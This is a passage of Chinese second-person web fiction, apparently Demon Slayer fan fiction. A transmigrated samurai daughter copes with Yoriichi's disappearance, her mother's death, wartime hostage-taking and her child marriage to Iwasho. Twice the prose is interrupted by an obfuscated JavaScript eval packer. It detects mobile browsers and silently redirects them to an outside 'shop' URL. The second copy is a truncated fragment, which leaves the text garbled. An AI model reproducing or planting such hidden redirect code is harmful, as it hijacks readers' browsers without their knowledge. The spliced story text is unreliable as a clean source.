你要的女主剧本可不是这种本子!你可是很脆弱的,这么乱来,小心你发疯给人家看哦,你真的会发疯哦。 没系统、没外挂、没回家的诱惑,谁也别想你挑战高难度。 “我只会嫁给你。”你低低地重复,这次是在说服自己。 6. 第 6 章 临走的时候,你拖过被子给他掖好。入秋天气凉了,待会儿守丧是个体力活,感冒就不好了。 岩胜脸色没变,整个人看起来却比刚才好了不少,眼神活泛了些,疲倦地轻轻阖上。 你退到门外,忽然想了起来,忙问道:“岩胜,缘一呢?” 出了这么大的事,怎么不见他? 岩胜背对着你翻过身:“他到他该去的地方了,是哪个寺庙吧。” 你大惊:“不对,我刚从林泉寺过来,他不在那里。” 岩胜唰的一下坐了起来。 缘一跑丢了。 岩胜立刻要找人去追,可家里早就乱得不像样子,下人着急忙慌地答应着,都不知道上哪儿去找。 他胡乱披上一件外衣就往前院停灵的地方跑,还不忘让你早点回家。 这种时候,你留下也是添乱,只得悬着心走了,一路上不停地催车夫快走。 牛车的优点是稳,唯独走不快,你看着车辕前牛背不紧不慢的起伏,真是心急如焚。 在各种被拐儿童和父母重逢的感人视频底下,你学到了一个知识点:孩子失踪后的三个小时内是寻回的黄金时间,找回来的失踪儿童超百分之九十是在二十四小时内找到的,超出这个时间段概率就很低了! 你算来算去,三小时早过了,只能寄希望于缘一不认路跑得不快,继国家的下人效率高点了。 一番折腾下来,奶娘也知道内情了,不住地叹气:“真是作孽!” 你问她:“我看这边也就几条路,找个小孩不难吧?” “难啊,怎么不难?”奶娘冷笑道,“你也说了就几条路,他们真心找,怎么路上不见人?” 对哦。你一个激灵醒悟过来,武士骑马可比你这破牛车快多了,真的要找一个人,按失踪地点为圆心往外找,早该到这边来了,继国家是什么怎么回事啊? 你想起刚进门时的哭声,这回再没半点儿感动之情了。合着你老人家只会对着老婆的尸体演深情,老婆生的孩子是不管的啊? 朱乃临终前是很痛苦的吧?她是多么爱孩子,时时刻刻地操心,希望他们能过得好啊! 你心里说不出得难受,愤怒、失望、悲伤的情绪一股脑涌上来,都分不清是哪个了。 车一停,你马上跳下来往门里冲,去求父亲出手相助。 看见你毫无仪态地横冲直撞,甚至自己拉开门进屋,时透家主的眉心能夹死苍蝇。 不等他发难,你已经连珠炮似的把前因后果交代清楚,顺便表明了来意:赶紧找人啊! 说完话,你气也喘匀了,拿手扇风扇去额头上的汗,一边暗暗地骄傲。虽然不擅长吵架,但你文科生的语言组织能力还是杠杠的嘛。 紧接着在几秒内,你见证了父亲脸上的表情从不满、惊讶变到深思熟虑兼惊喜,然后是隐隐的,于是知道他政治家的野心成功压倒了父亲教子的责任,换言之,你安全了,事多半也成了。 果然,他大手一挥,心情很好地让你出去:“我忙着呢,找你母亲去。” 你从善如流,一出门就被愤怒的奶娘抱走了。 不出一刻钟,时透家的武士就出发了。 从昨晚起不利的消息一个又一个,时透家主很久没有这样彻夜不眠了。 盟友突然要改立继承人只是让他有点心烦罢了,只要联姻不变,立谁不是立?可继国夫人突然去世就不能等闲视之了。 继国家主也就比他大个几岁,年轻又位高权重,续娶名门淑女为正室夫人不是难事,那他们还没分好的蛋糕岂不是平白多出一家来染指? 不行、绝对不行! 时透家主一想到手头的利要薄几分,心里就疼得割肉一样。和盟友分那是逼不得已,是必要的手段,盟友的新亲家算什么? 他盘算了整晚也没个主意,继国家主拿守丧为借口不出门,拖个一年半载,任谁也是没办法的,谁承想一大早女儿就送办法来了。 他把继国家的新继承人捏手里,还怕不能谈吗? 看着马蹄扬起黄尘,转眼间远去,你稍微放下心来。父亲不会是好意,但人平安无事是最重要的。这么多人,总能找到的吧? 你等到天黑,没有等来好消息。 这时,迟钝的继国家主似乎也想起了自己还有个小儿子,大道和林间小路上,到处是呼唤缘一名字的武士。 可几天过去了,谁也没有发现他的一点踪迹。 缘一像从未存在过一样,消失得无影无踪。 继国家主埋葬了妻子,从此深居简出,有人说他一病不起,也有人说他只是按制守丧而已。 等不到盟友,时透家主意兴阑珊,他在一个月后单独出发面见将军,没有谈及任何大事。 母亲的面庞再次为阴云笼罩,父亲回来解释说孩子们都还小,不必急于确立继承权。 事情就这么翻篇了,你的生活却不能回到过去。 “夫人课程”还在继续,但马上就要学有所成的急迫感消失了,母亲不知不觉间放松了要求,你乐得轻松,三天打鱼两天晒网,唯有女红逃不了,天天要捻线穿针。 冬去春来,她的腹部重新隆起,你也能用假名流利地誊抄账目,独立缝制手帕和一些简单的衣服里衬了。 当然,你也可以熟练地吹奏一节切了。 那支朱乃夫人教给的唯一的曲子,你能吹得分毫不差,但即使音调一样,因为口风还有气息控制的问题,听起来总是欠缺某种味道。 你把这归咎于天赋不足,转而琢磨怎么把一些难度不高的竖笛曲目搬过来。 笛声悠悠地飘荡在回廊里、池塘上,给单调的日常增添了些许色彩。你自得其乐,更能忍受母亲的役使。 她开始教你怎么缝补衣裳、裁制和服。课程进度延缓,难度大大提升。你勤加用功,不想她太辛苦,可怀孕的折磨还是让她终日浮肿。 你看着她脚肿得穿不上木屐,还是笔直地跪坐一整天,打理全家的家务,挺着大肚子照顾三个孩子,指点你的功课,又是难过又是疑惑。 你不知道她心里是否也在怨怼,还是把这些都当作理所当然消化好了。从外表上,你看不出她真实的想法。母亲不是一个复杂的人,可你看不懂。典范如朱乃夫人也有自我,她却好像没有。 等你学着缝合腰带的时候,她发动起来,这次生产比以往的哪一次都凶险得多,你被匆匆赶来的奶娘抱走,听到母亲一声连着一声的痛呼持续到第二日黎明。 胎儿的呼吸也只持续了一个黎明。 父亲没有过来,生产被视作污秽的事,孕妇都只能在临时搭建的产房里完成生产,何况他的注意力在新的盟友身上,母亲也没难过太久,收拾好就重新操持家事了。 你远远地看到仆人怀里的小小襁褓,忍不住掉了几滴泪。 有现代医学之前,婴儿的夭折率高达百分之二十五,一半的儿童活不到成年,更不要说还有疾病、饥荒、战乱,这是人命如草芥的年代。母亲七年生育四个孩子,活着三个,已经很幸运了。 你理解他们,只是更加感到自己格格不入罢了。 吹笛子之外,你还发掘了新的乐趣,那就是和继国岩胜通信。 事情的起因完全是偶然。你既然包揽了写信的工作,在母亲身体不便时接管各家来信再自然不过。 你选择优先拆开相熟人家的信件,然后视内容的轻重缓急决定是否回复,就这样翻出了朱乃的最后一封信。 提笔时,她大概还抱着一家人生活在一起的希望,邀请母亲和你在家主觐见将军时来家小住。 你猜测就在信寄出不久后,继国家主告诉了她改立继承人的决定,为此两人之间不可能什么也没发生,经过无人得知,结果是朱乃随即病发去世、缘一失踪,这封信也压在告病、报丧的消息之下,直到现在才被发现。 你心情沉重地拟了一篇长文,回忆两家的交情,感谢继国夫人当年的照顾,同时劝慰继国家主节哀顺变。 这样的外交辞令,你早已写惯,闭着眼也不会出错,唯独关于朱乃的部分,全从笔端流出,没有一句《明衡往来》里的套话,反而显得潦草。 不料回信很快就到了,纸上不是熟悉的笔迹,也不像出自家主之手,你醒悟过来,这是岩胜写的。 从简短的问候开始,你一封我一封,通信竟成了习惯。夹杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048772|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家族事务中的内容,是你们真正交流的东西。 岩胜的文字和他说的话一样清晰直白、寥寥几句,你却越写越长,从春天的第一朵樱花到今晨绵延的雨水,话题漫无边际又格外跳跃,你自己也不知道在表达什么,但改是懒得去改的,你直接寄走,等待下一次通信故态复萌。 这个过程里,你得到无尽的安慰,就连岩胜的惜字如金你也满意。正是因为他的回应如此稀少,你才能放下心什么都写,每次封缄时都有把漂流瓶扔进水里的快感。 你在这里的快乐实在不多,每一个都要格外珍惜才是。 虽然有着绝佳的掩护,通信的事还是瞒不过奶娘。 她意外地没有反对,还高兴地说:“这样好嘛,多培养培养感情,总比两眼一闭嫁过去强。” 她说话越来越露骨,现在大家都把这桩婚事当作公开的秘密。 对此,你完全没有实感,也就没有表示什么。 有人倾盖如故,就有人白首如新,你不觉得感情是可以培养出来的东西。 最初满脑袋女主剧情的时候,你不是没发狠想过,都说成年人只筛选不改变,还有句话说孩子的可塑性很强,你已经没有选择权了,那努力经营感情提前适应,应该行得通吧? 可真的出现在一个人的面前,看到他的喜怒哀乐,怎么还会有这种想法呢?人与人的相处可不是过剧情、涨分数这么简单的事。 你的妈妈想要女儿落落大方、果敢干练,她花大力气、大笔钱培养你、鼓励你,素质教育、快乐教育、填鸭教育轮流上,想办法帮你提高成绩、进好学校,学几门才艺、多表现,你还是长成了社恐内向、软弱不堪的样子。 一个人对另一个人下的功夫难道还能比得上亲妈吗?你在和她漫长的斗争中早早领悟人不可被改变的真理,放下了执念。 你没有感情要宣泄,只有很多很多的感受要与人分享。没有信笺上那短短的几行字,你都不知道自己是多么渴望倾诉。 生活里有过真实的支撑,足够在回忆和咀嚼中反复地汲取力量,其他的就不必强求了。将人生的希望擅自寄托他人,无异于索取,可岩胜凭什么被你索取呢? 你的心在一封封信中安定下来,仿佛回到旧日的课堂,因为知道自己在稳步地积蓄力量而格外踏实。 你做好准备,耐心地等待一切有可能的变故和必将到来的安排。 无事发生的时候,会觉得日子过得很慢,一天又一天重复的生活,好像活在静止中,突然意外出现,时间才重新流动起来。 你不会忘记平静被打破的那天。 转眼数年过去,你长到了十岁,课程学无可学,每天最重要的活计是给虚弱的母亲打打下手,顺便带带新添的几个弟妹。同你停滞的进度相比,时透家的产业在父亲手上至少扩张了一倍。 和固守祖产的先辈不同,他“幸运”地生在了时代变革期,试图寻找新路的先行者纷纷折戟沉沙,破产的下级武士流离失所,他背靠幕府的余晖吞并这些无主财富壮大已身,却误以为是自己谋略无双。 反扑是早晚的事。历史常识告诉你,变革初期旧秩序的惯性是十分强大的,敢突破它的人只会被率先绞杀,沦为既得利益者续命的养料。父亲是在自掘坟墓。 可你有什么办法说服他放弃眼前唾手可得的利益呢,你连劝母亲保重身体都做不到。 十年间频繁的生育拖垮了她,父亲迟迟不肯确定长子的地位,也在精神上给了她沉重的打击。时透夫人自问已经付出了为人妻子能做的所有,丈夫却不肯给予应有的报偿,这让她充满了被欺骗和背叛的愤怒,变得满腹怨怼。 身为离她最近的人,你饱受来自母亲的迁怒,眼看着她在人生的最后阶段越来越尖酸刻薄。她近乎歇斯底里地把生活的不如意倾倒给所有人,生命力也随之损耗。 无需医生诊断,谁都看得出来,她是活不久了。 你想不通,为什么母亲总觉得再生一个就好了呢? 终于有天,洁白的面隐落下来盖住她过早衰老的面容,没多久,新人的聘礼替换下亡者的佛坛,父亲娶了新夫人进门。 祸乱就是这么埋下的。 7. 第 7 章 武士间的嫁娶绝不是小事,姻亲将本无关系的两个家族真正联结在一起,世上没有什么能比子子孙孙无穷匮的血脉相连更牢固的了。 所以,联姻等于结盟,结盟需要联姻,在武士这里是颠扑不破的真理。 新夫人的选择,自然是时透家主精打细算的一桩交易。好事促成,他洋洋得意,也就有人满腹仇恨。 农耕时代资源有限,蛋糕就这么大,你多了就是我少了,斗争不可能不残酷。 到了真刀实枪明抢起来的时候,父亲才看清了自己吃着世禄才能坐稳高位的真相。 盟友就是此时用的。你带着弟弟妹妹和继母一道离开了家,去做人质。 继国家没什么变化,还是上次见到的样子。这个没有女主人的地方陷入到更加彻底的停滞,你发现就连架子上装饰品的位置都没有动过。 岩胜代表继国家前来问候,隔着竹帘向你的继母新一任时透夫人行礼,她按初次见面的礼节还回去。你旁观这一切发生,真是恍如隔世。 前来负责招待的人是从前朱乃夫人的侍女阿系,她还记得你,拉开门时像过去一样对你善意地笑,眼角细碎的皱纹堆起,提醒人们时光并没有遗忘这里。 你想起不见了的缘一,时隔多年还是感到郁愤难平。 继国家主一直没有续娶,朱乃过世后,他独自生活,更加忘我投入到厮杀中,弄得一身伤也在所不惜,他靠始终强悍的武力而不是钻营维持着继国家威名不倒。 他的父辈、祖父辈都靠这身武艺安身立命,他年轻时也借此闯出一片天,中年遭逢时局变动,依旧相信刀锋上可以取得一切,并把这一理念不折不扣地传达给下一代。 父亲满意于盟友的可靠,背地里却挖苦他的生活方式,说那种日子正常人一天也过不了。 你没有机会拜见他,难以判断他是否就是这个家最大的变数。 对于不能上阵杀敌这件事,岩胜明显很焦躁,他的情绪传染给了本就惴惴不安的时透夫人,孩子们更不敢说话,屋内的气压持续走低。 你能在纸面上侃侃而谈,信手写上好几页,却对社交场合的气氛调节束手无策。第一天,你们相对枯坐着过去了。 随着局势愈发紧张,这样的状态没持续太久。按前线传回来的命令,你们一同撤出继国家,在侍卫的保护下退到林泉寺。 穿越多年,你不再对处境全然无知,明白这多半是战况发生了逆转,从现在起你们互为人质。 寺庙的僧人收拾出两间干净的禅房请你们住下,僧正领着修行僧一起诵经祈福。夫人忧心不已,亲自到殿内上香,你陪着她直到晚钟敲响才回屋休息。 躺着也睡不着,黑暗中,你的弟弟妹妹们一声不吭,全都大睁着眼睛瞅着你,他们或许不明白发生了什么,只是本能地靠近最亲近的人。 你伸长胳膊尽量把他们都搂到一起,听到另一边翻来覆去的声音,知道继母同样睡不着。 窗外,虫鸣此起彼伏,夜色更加孤清。 你想入非非,开始设想落败后的结局:你、继母还有小妹妹原地出家,其他几个弟弟运气好可以一同为僧,岩胜和大弟弟没有战死沙场的话,只能自尽了。 进入寺庙前岩胜那隐忍的目光浮现在脑海中,你想他是一定会选择战死的。 不知过去了多久,你终于看到弟弟妹妹们一个个闭上眼发出均匀的呼吸,小心翼翼地抽回手脚,站起来活动四肢,不期然和继母四目相对。 果然,知道的越多就想得多,你并不意外,唯有苦笑,她扭过头去。 长夜漫漫,实在难熬,你披上外套走了出去。 月亮隐在云层后,山林笼罩在夜色下,继国、时透两家的卫士藏在丛林中。 想到这里,你生不出半点游览的兴致,垂腿坐在走廊上,搓搓脸,想自己还能怎么办。 答案当然是没有的,但现代人的思维让你习惯了遇事先考虑自己该做什么。 你有一搭没一搭地乱想,吹着山间的风,昏昏欲睡。 所以,那些人跳进院子的时候,你立即惊醒,却停留在半梦半醒的懵懂阶段。 毫无经验的你,和无脑电视剧里所有成事不足败事有余的工具人配角一样僵在原地,只会抱头尖叫。 尖利的嗓音还没出口,一只粗糙大手从前堵住,劲风吹过,连人一起带进了屋内。 你跌倒在榻榻米上,身下垫着几个僧人打坐用的蒲团,没发出半点声响,整个人完全呆住。 岩胜背对着你合门,前方是十余名带刀武士。 早说过了,日式建筑隔音不好。 不用看也知,父亲那个几世祖的带出来的人怎么比得上人家风里来雨里去的兵。 你木木地听着门外的动静,似乎没有想象的那么血腥,几道闷响后就平静下来,隔扇上人影晃动,似乎在交谈什么。 半晌,门重新拉开,岩胜言简意赅,说出了这么多年来对你的第一句话:“在这里等着。” 月光西移,窗棂的影子拉长,漫到身上,你如坠水中,浑身冰凉。 用不了多久,至多一个时辰,破晓的晨光将照亮禅房,照出继国家的人质已从这场休戚相关的战事中全身而退的事实。 你不去思考这意味着什么,脑子里只剩下一个念头:他要到该到的地方去了,可他拿什么去拼呢? 你嚯地站起来,冲出房间奔向供佛的大殿。 四年前,时透家主和继国家主联手镇压了国人武士的叛乱,他们用缴获的奉纳玉钢锻刀来纪念会盟的胜利,影打两位家主一人一把,真打就供奉在这林泉寺里。 国内最好的工匠耗时数月打出最得意的作品,其中工艺最精良的,才被选成真打作为献给佛的礼物。 你气喘吁吁地取下香案上的刀匣,沉得弯下了腰,穿成武家小姐这辈子你还没拿过比砚台更重的东西。 试着跑了几步,根本不行。你把匣子丢下,裙摆掖进腰带,双手抱起刀——这下可以了,头也不回地往外跑。 跑过了走廊、佛堂,眼看到了大门前,一股力道猛地后拉,你差点儿摔倒。 “发什么疯,快给我回来!” 是夫人。 原来她一直没睡着,她什么都看到了。 她几乎是凶恶地瞪着你,放着自以为的狠话:“我告你父亲去,我告老爷去,看你怎么办!” 你看着她,这个名义上是五个孩子母亲的人,只比你大几岁而已,正处于生长发育的时期,身子抽条成修长的形状,脸还是圆鼓鼓的小孩脸,努力地做出威慑的表情。 对着这样一张脸,你生不出怜悯之外的任何情绪。 她也不容易,才嫁过来就碰到这样的事,流言蜚语、造谣中伤是少不了的,此地的男人多擅长把过错都推到女人头上啊。 用力拽回自己的袖子,你毫不犹豫地逃走了。 没有灯,夜晚的路可不好走,凹凸不平的路面、裸露的树根、黑沉沉的积水都是障碍。 你跌跌撞撞,奔跑在山间的小路上,恍惚间明白过来,父母没有冤枉你,一个人不接受某种生活方式,也就不会接受它背后的逻辑,你是早晚要叛逆这么一回的。 抱紧了怀中的刀,你甩开膝盖、大步向前,不断加速,月亮跟过来,红色的光芒似在燃烧,树影飞速倒退,情绪全都甩到身后。 异国他乡的孤独、不被接纳的恐惧、无能为力自我厌弃……此刻,它们全都纠缠着飞速缩小,然后无影无踪。 你呼吸着林间湿润的空气,感到无比自由。 为自由驱使的你在山谷下追上了岩胜,那儿不只有他和继国家的武士,还有另一拨不知来处的人马,敌对的态势一望即知。 你镇定自若地靠近,一行人惊讶地看过来,忘了做出反应。岩胜翻身下马挡住面前,拦住所有视线。 你无所谓地笑笑,用力扬起脖子,把刀递过去。 刚来的时候你就想说,岩胜他也太高了吧!比你高一头还多,比好多成人还高,完全是大人的模样了。 上一回神社见面,他迷茫惶惑撞上你胸有成竹,这一次处境调转,太奇妙了。 你忍不住又笑了一下,因为想起了离别时的话,那会儿真是大言不惭啊,武士命运的无常、盟约的脆弱,岩胜从来比你看得清楚,可是—— “我只会嫁给你,知道的吧,”你低声道,“所以,一定要赢哦。” 是的,在最糟糕的设想里,你也是出家做了尼姑,落败后依附别家,或是被当战利品转送,想都别想。 对于继国家还有岩胜本人的实力,你没有多少直观的感受。你只知道自己遵循哪种生活的指引,是为了什么来到这里。 岩胜接过刀挎在腰间一刻你已取得胜利,接下来发生都无所谓了。 都无所谓了。 自由是很爽的,生病是很难受的。 回到寺里,你很快就发起高烧,明明是夏天,却抱着被子不住地发抖,汗水打湿了床褥。 歇了半日病程不见缓和,额头的灼热反而有继续攀升的趋势。你无力地躺着,时而咳嗽几声,疑心脑仁都要蒸干了。 有些话,在那个个氛围里很容易说出口,等脱离出来,只想以头抢地。你再找不回当年面对小学生的自然心态,这会儿的病势倒像是脸上升腾的热度烧到脑子里。 你烧得满面红霞,迷迷糊糊地喘着气,屋里的其他人脸色都一样地差。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048773|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这里药食都不缺,糟糕的是山脚下的战斗已经证明了林泉寺不再安全,女眷和孩子们必须转移了。 继母坐在一旁,欲言又止、止言又欲。岩胜派来的人说明情况后,她就一直这个样子了。 你无意为难她,主动提出母亲当以嫡子为先,你一个人可以的,请她带着弟弟妹妹先走。 有台阶下,夫人当然没有不愿意的,应下来马上就离开了。 奶娘气得直抹眼泪,阴阳几句,一定要留下来照顾你。 人影远去,你止住咳嗽,劝奶娘少说几句。她昨晚睡在下人房里,并不知道发生了什么。况且,没昨晚的事,你也不觉得自己有立场道德绑架谁冒着生命危险作陪。 可能是这具身体底子好,也可能是一直坚持健康的饮食作息和生活习惯,自打穿越过来你还没生过病呢,区区一次着凉感冒,抗得过去的。 你指挥奶娘把清水煮沸,饭里多加肉,做得熟熟的,补充好水分、养分,一口闷掉僧人熬的药,倒头就睡,等着免疫系统发挥作用。 平时奶娘绝不会由着你,但她相信病人想要的就是身体需要的,全部照办下来,你得以科学养病。 是福不是祸,是祸躲不过,吃吃喝喝,洗洗睡吧。 病中的人容易丢掉对时间的感知,你就这么躺着,慢慢休养,身体一天天地好转,前方传来的消息也越来越乐观。 等你能重新披上衣服四处溜达时,时透家主也志得意满地重新杀了回来。 你马上去信问候父亲母亲,重点阐述了自己还没好全不宜挪动的意思。 这些天,奶娘老是哭哭啼啼地说你都瘦成了干,可你自觉镜中人眼睛发亮,肤色白里透红,气色别提多好了。 你一个人在这儿,什么事都自己做主,喝水就喝凉白开,吃饭就吃熟饭,坐下必须盘腿坐,还要歪七扭八地倚着、靠着,更别提作为古代的文化场所寺庙里有大量的藏书供人翻阅,简直不要太爽! 你乐不思蜀,根本不想回家了。 可不管怎么拖,随着国境内战火平息,时透一家返回宅邸,你无论如何也得回去了。 家里送来御寒的衣物,你裹得严严实实,坐车下山。 深秋的树林渲染得五颜六色,牛车两旁护卫的人也穿戴得五颜六色,这一番变故,家里终究是伤了元气。 你粗略地扫一眼,就没几张熟悉的面孔,心里五味杂陈。 战事告一段落,但继国家主没有就此罢手,他以毕其功于一役的魄力和决心继续投入战斗,战线拉长到前所未有的程度。 你只是经手了只字片语就感到心惊肉跳,不敢想象身处其中的人要承受何等压力。 父亲从前线转到后勤,倒是愈发优哉游哉,可见战果令人满意。 初雪落下的那天,岩胜从战场返回,来拜会时透家主。 他在庭院等待通报,全身漆黑的盔甲挺立在漫天的白色中,像一柄出鞘的利剑。 你透过屏风望去,觉得时间过得可真快。 奶娘殷情地请他进来,捧上热茶,关心他有没有着凉。 岩胜不着急接话,先向御竹帘行礼,问候姬君身体是否安康。 你隔着帘还礼,忘记了回话。一时间,走廊和屋子之间只有风声回荡,奶娘絮絮叨叨的声音若下去,再听不到了。 你头靠在柱上,感受着眼前无言的沉默,仿佛在和帘外人长久地对视。但这是错觉,岩胜他至多能看到你的一点身影才对。 这样想着,你没有一丝迟疑,提步绕过屏风,身前再无一丝遮挡。 岩胜愣住,视线在接触到你的下一秒便微微下垂,含有歉意似的投向双足前的位置。 即使是如此猝不及防的情形,他也维持着应有的礼仪,绝无不当之处。他恪守自己的边界,却从不依此对他人妄下判断。 “非常抱歉。” 他为那天发生的事向你道歉,因为他的轻率举动,连累你抱病多日。亲眼所见,让他确信自己的想法,所以一再地请罪。 “是在下无能……” 你没有听下去。 总有人怀抱过分的责任心,稍有偏差都归咎于自己。 有什么关系呢,你暗想道。是你自己决定要那么做的,因此产生的所有后果理应由你一人承担。 而且……你端详着岩胜,他才是瘦多了呢。成人用的甲冑披在身上只能算勉强合身,他用挺拔的身姿撑起那股气势,更显风霜之色。 此刻,若有外人看到这一幕,怎会想到他只比你大一岁而已。 “我才该感谢您啊。” 无视掉他身后使尽眼色的奶娘,你微笑着开口:“不说这个了。父亲大人在等您了。” 8. 第 8 章 年后,继国家主终于对战况感到满意,结束了漫长的扫尾工作,宣布退兵。 他返回驻地后的第一件事,就是找自己的老盟友时透家主定下了长子的婚事。 有幸见证这场盛世的同僚们,都在私底下偷偷地传:继国家主看起来老了太多了。 不久前他还在战场上近乎不死不休地追剿余孽,同行者见之无不胆寒,误以为是杀神临世。 现在看来,或许就是这种全情投入不计得失的打法提前透支了他的生命,回家后不久,继国家主躺到在病床上,过去的旧伤一齐发作,短短几天便形容枯槁。 如果说他是信守盟约,将敌军赶出去也就够了,事实上,战争后期,时透家主已颇多微词,因为获利明显比不过损耗,继续打下去更像是无脑的发泄。 但要说他是为了彻底消灭家族隐患,不惜放弃部分利益为后代铺路,岩胜少主私自下场数度濒临险境,也不见其父有所回护。 他似乎就只是想要这么痛痛快快地打上一场,终于有了机会,别的都顾不上,也不想去思考了。 因为继国家主的沉疴,联姻只好从简从速,幸亏两家早有默契,一切都是备好的,操办起来并不费力。 饶是如此,一系列流程走下来,也花了半年之久,而这些都和身为仪式主角之一的你无关。 你从没表现得如此符合刻板印象过,不管谁稍稍提及,你就打开扇子遮住脸,装作非常害羞的样子立即跑开。 置办嫁妆还有与之相关的各种事都是早就开始的,虽然因母亲的去世一度中止过,继母上手后很快就完成了。 奶娘记得寺里的事,总疑心她心里憋着坏,对你甩手掌柜的态度、行为是恨铁不成钢。 几次鸡娃失败后,她干脆亲自上阵盯着,恨不能多长几只眼睛轮番工作,唯恐一个错眼不见,继母就会以次充好,甚至给你使个绊子。 对此,时透夫人全都忍了下来,准备好所有,只等你嫁人。 面对这么尴尬的事,你简直一个头两个大,有心调解又怕越抹越黑。 那天发生的事,继母从来闭口不提,这是她的善意,你是承情的,但处在你们这种位置的两个人,好像只能以敌意的方式相处。 你不知道这是谁的错。 你们共同的忍让中,所有事情无波无澜地推进,父亲简单地过目一下就点点头,对这种已成定局的事,他不会有多少热情,因为无利可图。 婚前的安排简直顺利得过头,阴阳师卜算出最近的吉日,你过完家中最后一个年节,在一个初春的夜晚披上了嫁衣。 接亲的火把照亮了嫁妆上的汉诗铭文,那是对美满婚姻的祝愿,用刀子雕刻、涂上黑漆,用金粉、螺钿装饰出来的。 满目熠熠生辉的色彩中,唯有你一身素白:纯白的小袖和服,披一件白绢打褂,白色的棉帽子遮住大半张脸。 你对白色没有意见,只是每次穿白衣服不管多小心总会弄脏一块,吃饭时溅了油点呀、蹭到哪里了呀,防不胜防。 穿白必脏在u盘第一次必插反之后,名列你第二符合墨菲定律的生活事项。所以渐渐地,你就不穿白了,除非学校活动有要求。 而这一次,比得上从小到大所有学校活动的相加。你战战兢兢,垂首帖耳,没有指示根本不敢动。 终于,花轿抬了过来,你迈着小碎步,一步一挪,双手死死地摁住袖子,不敢让全身上下任何一个配件乱晃。 电视剧里的轿子看着华丽宽敞,实物却不是这么回事,里面又小又憋闷,刚够一人坐下。方一进入,车窗咔一声落下来,严丝合缝,像关上了一个小盒子——不对,是像口棺材。 这个念头一冒出来,你的后背寒毛倒竖,一阵阵地发冷。 忘了是在哪里看的科普贴,白无垢花嫁其实是丧服,新娘出嫁意味着在娘家死去,再无此人,婚礼后换衣就是在夫家重生。 说法的真实性无从考证,可想起出门前镜子里映出你新画的大白脸,堪比死人妆,就愈发觉得太贴切了。偏偏此时乐声响起,一声声如泣如诉,你听得汗出如浆,像恐怖片里的NPC,向观众倾情演绎什么叫做恐惧。 糟糕,妆不会花了吧?你坐立难安、呼吸困难,绝望地感到手心、脖颈、额头都有汗水滑落。 喉咙好干,你焦虑地要舔舔嘴唇,想起那铅汞含量绝对超标的化妆品,硬生生忍住了。 现在逃婚还来得及吗?这么点距离,爬都能爬回去吧。 你在幻想中跳车、撕扯、狂奔然后身败名裂、青灯古佛了此残生几多回,脚尖都没有动一下,直到车轮吱扭一声停住,惊醒了你的一人小剧场。 像听到了考场中的哨声,你突然镇定下来,大脑一片空白,手、腿有自主意识般行动,提裙、下轿、递出指尖,步伐、姿势不差分毫。 一片吵嚷声中,你清晰地听到“新娘子来了”的欢呼,一句接一句,先于你的脚步传入屋内,火把聚拢过来,照得眼前亮如白昼,你和手里轻飘飘的布料没什么区别,被不同的力道拉着、推着、拽着,去到该去的方向。 不知经了多少道手,你获准留在原地,舒缓的乐章后,阴影无声地笼罩在身侧,一只手探过来,不轻不重地搭在你的手背上。 你灵魂归位,瞬间明白了自己身处何方,垂在脸侧的柔软帽檐抖得像一片枯叶。 妈妈、妈妈、妈妈……来救救我,妈妈…… 妈妈,原来,我没有做好准备…… 你无声地呐喊,泪盈于睫,沿着你温顺低垂的弧度一一滴落。 恍惚间,耳边是爸爸妈妈温馨的唠叨,他们总怪你读书太多读傻了,还不知道找个男朋友,不谈恋爱怎么结婚? 妈妈,你在这里,看到女儿结婚,你不会快乐。 新人和两家的亲族共饮酒水之后,仪式就到了尾声。你除去繁琐的披挂,移步到寝殿的核心北厢内。 在这里,你将成为继国家新一任女主人。 观礼人的恭维你全不放在心上,匆匆地往镜中瞥了一眼——还好,这一脸的粉看着还挺牢靠。 才松了口气,迟滞的酸痛袭遍全身,你累得只想倒头睡下,却不得不强打起精神静待另一个主角入场。 岩胜进来的时候,你已经因为应激太久到了麻木的状态。身体僵硬不得动弹,神经却高度紧绷,左肋靠下的地方紧缩着疼,像有只小手在里面揪着胃提了起来,你疼痛欲呕。 作孽啊,一个小学生、一个初中生,就这么结婚了! 他在一旁轻轻坐下,你的身心已地震了一遍。不多时,仆从们吹灭烛台退了出去,几帐垂下来,屋内陷入比花轿更深、更浓地黑夜。 你无声地睁大了眼睛。 身边是岩胜均匀、低沉的呼吸声,几次和缓的吐息后,他开口了。 “家庭还有婚姻的含义,我不能说全部了解了,但是,一家之主和为人丈夫的责任,从此以后我都会担负起来。”他一板一眼地说着,眼睛直视正前方,脖子连着脊背绷成一条直线。 话音落下,好一阵沉默。他飞快地扭头看你一眼又转过去。 “你有什么要说的吗?”岩胜干巴巴道。 你的双手急剧地颤抖起来,比上轿时紧,比下轿时软。 “我……” 你有好多好多话涌到嘴边,都不知道该说哪句,你的恐惧、你的期待、你的愤怒、你的软弱……太多想要倾诉却不能出口的东西堵住了喉咙,你一时唇齿凝涩、喑哑无言。 “我、我希望……” 你心如擂鼓,竭力打捞着脑海中每一个争先恐后的词句,那想要呕吐的疼痛丝毫没有缓解。做不出数学卷子的最后一道大题,你也没这么难受过。 “我希望我们能彼此理解、包容,能体谅对方……” 临到嘴边,你到底把“平等”两字吞下去了,吞玻璃一样划出闷疼的内伤,一路刮擦着落回胃里,冒出满口的血腥味,声音随之低微,渐渐听不到了。 “就这样了。” 除了换个地方睡觉,婚后生活没有多少不同。 